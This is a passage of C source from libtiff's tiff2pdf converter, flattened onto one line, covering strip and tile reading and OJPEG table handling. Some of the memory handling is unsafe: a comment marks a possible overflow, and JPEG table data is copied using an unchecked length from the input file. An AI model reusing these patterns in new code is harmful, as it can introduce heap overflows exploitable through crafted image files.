(unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); if (TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt) != 0) { if(count > 4) { _TIFFmemcpy(buffer, jpt, count); bufferoffset += count - 2; } } stripcount=TIFFNumberOfStrips(input); TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc); for(i=0;i<stripcount;i++){ if(sbc[i]>max_striplength) max_striplength=sbc[i]; } stripbuffer = (unsigned char*) _TIFFmalloc(max_striplength); if(stripbuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_readwrite_pdf_image, %s", max_striplength, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } for(i=0;i<stripcount;i++){ striplength=TIFFReadRawStrip(input, i, (tdata_t) stripbuffer, -1); if(!t2p_process_jpeg_strip( stripbuffer, &striplength, buffer, t2p->tiff_datasize, &bufferoffset, i, t2p->tiff_length)){ TIFFError(TIFF2PDF_MODULE, "Can't process JPEG data in input file %s", TIFFFileName(input)); _TIFFfree(samplebuffer); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } } buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=0xd9; t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(stripbuffer); _TIFFfree(buffer); return(bufferoffset); } #endif /* ifdef JPEG_SUPPORT */ (void)0; } if(t2p->pdf_sample==T2P_SAMPLE_NOTHING){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); stripsize=TIFFStripSize(input); stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ read = TIFFReadEncodedStrip(input, i, (tdata_t) &buffer[bufferoffset], TIFFmin(stripsize, t2p->tiff_datasize - bufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } bufferoffset+=read; } } else { if(t2p->pdf_sample & T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG){ sepstripsize=TIFFStripSize(input); sepstripcount=TIFFNumberOfStrips(input); stripsize=sepstripsize*t2p->tiff_samplesperpixel; stripcount=sepstripcount/t2p->tiff_samplesperpixel; buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); samplebuffer = (unsigned char*) _TIFFmalloc(stripsize); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } for(i=0;i<stripcount;i++){ samplebufferoffset=0; for(j=0;j<t2p->tiff_samplesperpixel;j++){ read = TIFFReadEncodedStrip(input, i + j*stripcount, (tdata_t) &(samplebuffer[samplebufferoffset]), TIFFmin(sepstripsize, stripsize - samplebufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i + j*stripcount, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } samplebufferoffset+=read; } t2p_sample_planar_separate_to_contig( t2p, &(buffer[bufferoffset]), samplebuffer, samplebufferoffset); bufferoffset+=samplebufferoffset; } _TIFFfree(samplebuffer); goto dataready; } buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); stripsize=TIFFStripSize(input); stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ read = TIFFReadEncodedStrip(input, i, (tdata_t) &buffer[bufferoffset], TIFFmin(stripsize, t2p->tiff_datasize - bufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i, TIFFFileName(input)); _TIFFfree(samplebuffer); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } bufferoffset+=read; } if(t2p->pdf_sample & T2P_SAMPLE_REALIZE_PALETTE){ // FIXME: overflow? samplebuffer=(unsigned char*)_TIFFrealloc( (tdata_t) buffer, t2p->tiff_datasize * t2p->tiff_samplesperpixel); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } else { buffer=samplebuffer; t2p->tiff_datasize *= t2p->tiff_samplesperpixel; } t2p_sample_realize_palette(t2p, buffer); } if(t2p->pdf_sample & T2P_SAMPLE_RGBA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgba_to_rgb( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_RGBAA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgbaa_to_rgb( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_YCBCR_TO_RGB){ samplebuffer=(unsigned char*)_TIFFrealloc( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length*4); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } else { buffer=samplebuffer; } if(!TIFFReadRGBAImageOriented( input, t2p->tiff_width, t2p->tiff_length, (uint32*)buffer, ORIENTATION_TOPLEFT, 0)){ TIFFError(TIFF2PDF_MODULE, "Can't use TIFFReadRGBAImageOriented to extract RGB image from %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } t2p->tiff_datasize=t2p_sample_abgr_to_rgb( (tdata_t) buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED){ t2p->tiff_datasize=t2p_sample_lab_signed_to_unsigned( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } } dataready: t2p_disable(output); TIFFSetField(output, TIFFTAG_PHOTOMETRIC, t2p->tiff_photometric); TIFFSetField(output, TIFFTAG_BITSPERSAMPLE, t2p->tiff_bitspersample); TIFFSetField(output, TIFFTAG_SAMPLESPERPIXEL, t2p->tiff_samplesperpixel); TIFFSetField(output, TIFFTAG_IMAGEWIDTH, t2p->tiff_width); TIFFSetField(output, TIFFTAG_IMAGELENGTH, t2p->tiff_length); TIFFSetField(output, TIFFTAG_ROWSPERSTRIP, t2p->tiff_length); TIFFSetField(output, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG); TIFFSetField(output, TIFFTAG_FILLORDER, FILLORDER_MSB2LSB); switch(t2p->pdf_compression){ case T2P_COMPRESS_NONE: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_NONE); break; #ifdef CCITT_SUPPORT case T2P_COMPRESS_G4: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_CCITTFAX4); break; #endif /* ifdef CCITT_SUPPORT */ #ifdef JPEG_SUPPORT case T2P_COMPRESS_JPEG: if(t2p->tiff_photometric==PHOTOMETRIC_YCBCR) { uint16 hor = 0, ver = 0; if (TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &hor, &ver) !=0 ) { if(hor != 0 && ver != 0){ TIFFSetField(output, TIFFTAG_YCBCRSUBSAMPLING, hor, ver); } } if(TIFFGetField(input, TIFFTAG_REFERENCEBLACKWHITE, &xfloatp)!=0){ TIFFSetField(output, TIFFTAG_REFERENCEBLACKWHITE, xfloatp); } } if(TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_JPEG)==0){ TIFFError(TIFF2PDF_MODULE, "Unable to use JPEG compression for input %s and output %s", TIFFFileName(input), TIFFFileName(output)); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFSetField(output, TIFFTAG_JPEGTABLESMODE, 0); if(t2p->pdf_colorspace & (T2P_CS_RGB | T2P_CS_LAB)){ TIFFSetField(output, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR){ TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RAW); } } if(t2p->pdf_colorspace & T2P_CS_GRAY){ (void)0; } if(t2p->pdf_colorspace & T2P_CS_CMYK){ (void)0; } if(t2p->pdf_defaultcompressionquality != 0){ TIFFSetField(output, TIFFTAG_JPEGQUALITY, t2p->pdf_defaultcompressionquality); } break; #endif /* ifdef JPEG_SUPPORT */ #ifdef ZIP_SUPPORT case T2P_COMPRESS_ZIP: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_DEFLATE); if(t2p->pdf_defaultcompressionquality%100 != 0){ TIFFSetField(output, TIFFTAG_PREDICTOR, t2p->pdf_defaultcompressionquality % 100); } if(t2p->pdf_defaultcompressionquality/100 != 0){ TIFFSetField(output, TIFFTAG_ZIPQUALITY, (t2p->pdf_defaultcompressionquality / 100)); } break; #endif /* ifdef ZIP_SUPPORT */ default: break; } t2p_enable(output); t2p->outputwritten = 0; #ifdef JPEG_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_JPEG && t2p->tiff_photometric == PHOTOMETRIC_YCBCR){ bufferoffset = TIFFWriteEncodedStrip(output, (tstrip_t)0, buffer, stripsize * stripcount); } else #endif /* ifdef JPEG_SUPPORT */ { bufferoffset = TIFFWriteEncodedStrip(output, (tstrip_t)0, buffer, t2p->tiff_datasize); } if (buffer != NULL) { _TIFFfree(buffer); buffer=NULL; } if (bufferoffset == (tsize_t)-1) { TIFFError(TIFF2PDF_MODULE, "Error writing encoded strip to output PDF %s", TIFFFileName(output)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } written = t2p->outputwritten; return(written); } /* * This function reads the raster image data from the input TIFF for an image * tile and writes the data to the output PDF XObject image dictionary stream * for the tile. It returns the amount written or zero on error. */ tsize_t t2p_readwrite_pdf_image_tile(T2P* t2p, TIFF* input, TIFF* output, ttile_t tile){ uint16 edge=0; tsize_t written=0; unsigned char* buffer=NULL; tsize_t bufferoffset=0; unsigned char* samplebuffer=NULL; tsize_t samplebufferoffset=0; tsize_t read=0; uint16 i=0; ttile_t tilecount=0; /* tsize_t tilesize=0; */ ttile_t septilecount=0; tsize_t septilesize=0; #ifdef JPEG_SUPPORT unsigned char* jpt; float* xfloatp; uint32 xuint32=0; #endif /* Fail if prior error (in particular, can't trust tiff_datasize) */ if (t2p->t2p_error != T2P_ERR_OK) return(0); edge |= t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile); edge |= t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile); if( (t2p->pdf_transcode == T2P_TRANSCODE_RAW) && ((edge == 0) #if defined(JPEG_SUPPORT) || defined(OJPEG_SUPPORT) || (t2p->pdf_compression == T2P_COMPRESS_JPEG) #endif ) ){ #ifdef CCITT_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_G4){ buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFReadRawTile(input, tile, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){ TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif #ifdef ZIP_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_ZIP){ buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFReadRawTile(input, tile, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){ TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_OJPEG){ if(! t2p->pdf_ojpegdata){ TIFFError(TIFF2PDF_MODULE, "No support for OJPEG image %s with " "bad tables", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } buffer=(unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } _TIFFmemcpy(buffer, t2p->pdf_ojpegdata, t2p->pdf_ojpegdatalength); if(edge!=0){ if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile)){ buffer[7]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength >> 8) & 0xff; buffer[8]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength ) & 0xff; } if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile)){ buffer[9]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth >> 8) & 0xff; buffer[10]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth ) & 0xff; } } bufferoffset=t2p->pdf_ojpegdatalength; bufferoffset+=TIFFReadRawTile(input, tile, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); ((unsigned char*)buffer)[bufferoffset++]=0xff; ((unsigned char*)buffer)[bufferoffset++]=0xd9; t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_JPEG){ unsigned char table_end[2]; uint32 count = 0; buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (TIFF_SIZE_T) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt) != 0) { if (count > 0) { _TIFFmemcpy(buffer, jpt, count); bufferoffset += count - 2; table_end[0] = buffer[bufferoffset-2]; table_end[1] = buffer[bufferoffset-1]; } if (count > 0) { xuint32 = bufferoffset; bufferoffset += TIFFReadRawTile( input, tile, (tdata_t) &(((unsigned char*)buffer)[bufferoffset-2]), -1); buffer[xuint32-2]=table_end[0]; buffer[xuint32-1]=table_end[1]; } else { bufferoffset += TIFFReadRawTile( input, tile, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); } } t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); } #endif (void)0; } if(t2p->pdf_sample==T2P_SAMPLE_NOTHING){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for " "t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } read = TIFFReadEncodedTile( input, tile, (tdata_t) &buffer[bufferoffset], t2p->tiff_datasize); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding tile %u of %s", tile, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } } else { if(t2p->pdf_sample == T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG){ septilesize=TIFFTileSize(input); septilecount=TIFFNumberOfTiles(input); /* tilesize=septilesize*t2p->tiff_samplesperpixel; */ tilecount=septilecount/t2p->tiff_samplesperpixel; buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } samplebuffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } samplebufferoffset=0; for(i=0;i<t2p->tiff_samplesperpixel;i++){ read = TIFFReadEncodedTile(input, tile + i*tilecount, (tdata_t) &(samplebuffer[samplebufferoffset]), septilesize); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding tile %u of %s", tile + i*tilecount, TIFFFileName(input)); _TIFFfree(samplebuffer); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } samplebufferoffset+=read; } t2p_sample_planar_separate_to_contig( t2p, &(buffer[bufferoffset]), samplebuffer, samplebufferoffset); bufferoffset+=samplebufferoffset; _TIFFfree(samplebuffer); } if(buffer==NULL){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } read = TIFFReadEncodedTile( input, tile, (tdata_t) &buffer[bufferoffset], t2p->tiff_datasize); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding tile %u of %s", tile, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } } if(t2p->pdf_sample & T2P_SAMPLE_RGBA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgba_to_rgb( (tdata_t)buffer, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth *t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } if(t2p->pdf_sample & T2P_SAMPLE_RGBAA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgbaa_to_rgb( (tdata_t)buffer, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth *t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } if(t2p->pdf_sample & T2P_SAMPLE_YCBCR_TO_RGB){ TIFFError(TIFF2PDF_MODULE, "No support for YCbCr to RGB in tile for %s", TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(t2p->pdf_sample & T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED){ t2p->tiff_datasize=t2p_sample_lab_signed_to_unsigned( (tdata_t)buffer, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth *t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } } if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile) != 0){ t2p_tile_collapse_left( buffer, TIFFTileRowSize(input), t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth, t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } t2p_disable(output); TIFFSetField(output, TIFFTAG_PHOTOMETRIC, t2p->tiff_photometric); TIFFSetField(output, TIFFTAG_BITSPERSAMPLE, t2p->tiff_bitspersample); TIFFSetField(output, TIFFTAG_SAMPLESPERPIXEL, t2p->tiff_samplesperpixel); if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile) == 0){ TIFFSetField( output, TIFFTAG_IMAGEWIDTH, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth); } else { TIFFSetField( output, TIFFTAG_IMAGEWIDTH, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth); } if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile) == 0){ TIFFSetField( output, TIFFTAG_IMAGELENGTH, t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); TIFFSetField( output, TIFFTAG_ROWSPERSTRIP, t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } else { TIFFSetField( output, TIFFTAG_IMAGELENGTH, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); TIFFSetField( output, TIFFTAG_ROWSPERSTRIP, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); } TIFFSetField(output, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG); TIFFSetField(output, TIFFTAG_FILLORDER, FILLORDER_MSB2LSB); switch(t2p->pdf_compression){ case T2P_COMPRESS_NONE: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_NONE); break; #ifdef CCITT_SUPPORT case T2P_COMPRESS_G4: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_CCITTFAX4); break; #endif #ifdef JPEG_SUPPORT case T2P_COMPRESS_JPEG: if (t2p->tiff_photometric==PHOTOMETRIC_YCBCR) { uint16 hor = 0, ver = 0; if (TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &hor, &ver)!=0) { if (hor != 0 && ver != 0) { TIFFSetField(output, TIFFTAG_YCBCRSUBSAMPLING, hor, ver); } } if(TIFFGetField(input, TIFFTAG_REFERENCEBLACKWHITE, &xfloatp)!=0){ TIFFSetField(output, TIFFTAG_REFERENCEBLACKWHITE, xfloatp); } } TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_JPEG); TIFFSetField(output, TIFFTAG_JPEGTABLESMODE, 0); /* JPEGTABLESMODE_NONE */ if(t2p->pdf_colorspace & (T2P_CS_RGB | T2P_CS_LAB)){ TIFFSetField(output, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR){ TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RAW); } } if(t2p->pdf_colorspace & T2P_CS_GRAY){ (void)0; } if(t2p->pdf_colorspace & T2P_CS_CMYK){ (void)0; } if(t2p->pdf_defaultcompressionquality != 0){ TIFFSetField(output, TIFFTAG_JPEGQUALITY, t2p->pdf_defaultcompressionquality); } break; #endif #ifdef ZIP_SUPPORT case T2P_COMPRESS_ZIP: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_DEFLATE); if(t2p->pdf_defaultcompressionquality%100 != 0){ TIFFSetField(output, TIFFTAG_PREDICTOR, t2p->pdf_defaultcompressionquality % 100); } if(t2p->pdf_defaultcompressionquality/100 != 0){ TIFFSetField(output, TIFFTAG_ZIPQUALITY, (t2p->pdf_defaultcompressionquality / 100)); } break; #endif default: break; } t2p_enable(output); t2p->outputwritten = 0; bufferoffset = TIFFWriteEncodedStrip(output, (tstrip_t) 0, buffer, TIFFStripSize(output)); if (buffer != NULL) { _TIFFfree(buffer); buffer = NULL; } if (bufferoffset == -1) { TIFFError(TIFF2PDF_MODULE, "Error writing encoded tile to output PDF %s", TIFFFileName(output)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } written = t2p->outputwritten; return(written); } #ifdef OJPEG_SUPPORT int t2p_process_ojpeg_tables(T2P* t2p, TIFF* input){ uint16 proc=0; void* q; uint32 q_length=0; void* dc; uint32 dc_length=0; void* ac; uint32 ac_length=0; uint16* lp; uint16* pt; uint16 h_samp=1; uint16 v_samp=1; unsigned char* ojpegdata; uint16 table_count; uint32 offset_table; uint32 offset_ms_l; uint32 code_count; uint32 i=0; uint32 dest=0; uint16 ri=0; uint32 rows=0; if(!TIFFGetField(input, TIFFTAG_JPEGPROC, &proc)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGProc field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(proc!=JPEGPROC_BASELINE && proc!=JPEGPROC_LOSSLESS){ TIFFError(TIFF2PDF_MODULE, "Bad JPEGProc field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(!TIFFGetField(input, TIFFTAG_JPEGQTABLES, &q_length, &q)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGQTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(q_length < (64U * t2p->tiff_samplesperpixel)){ TIFFError(TIFF2PDF_MODULE, "Bad JPEGQTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(!TIFFGetField(input, TIFFTAG_JPEGDCTABLES, &dc_length, &dc)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGDCTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(proc==JPEGPROC_BASELINE){ if(!TIFFGetField(input, TIFFTAG_JPEGACTABLES, &ac_length, &ac)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGACTables field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } } else { if(!TIFFGetField(input, TIFFTAG_JPEGLOSSLESSPREDICTORS, &lp)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGLosslessPredictors field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(!TIFFGetField(input, TIFFTAG_JPEGPOINTTRANSFORM, &pt)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGPointTransform field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } } if(!TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &h_samp, &v_samp)){ h_samp=1; v_samp=1; } if(t2p->pdf_ojpegdata != NULL){ _TIFFfree(t2p->pdf_ojpegdata); t2p->pdf_ojpegdata=NULL; } t2p->pdf_ojpegdata = _TIFFmalloc(2048); if(t2p->pdf_ojpegdata == NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_process_ojpeg_tables, %s", 2048, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } _TIFFmemset(t2p->pdf_ojpegdata, 0x00, 2048); t2p->pdf_ojpegdatalength = 0; table_count=t2p->tiff_samplesperpixel; if(proc==JPEGPROC_BASELINE){ if(table_count>2) table_count=2; } ojpegdata=(unsigned char*)t2p->pdf_ojpegdata; ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xd8; ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; if(proc==JPEGPROC_BASELINE){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xc0; } else { ojpegdata[t2p->pdf_ojpegdatalength++]=0xc3; } ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=(8 + 3*t2p->tiff_samplesperpixel); ojpegdata[t2p->pdf_ojpegdatalength++]=(t2p->tiff_bitspersample & 0xff); if(TIFFIsTiled(input)){ ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength >> 8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength ) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth >> 8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth ) & 0xff; } else { ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_length >> 8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_length ) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_width >> 8) & 0xff; 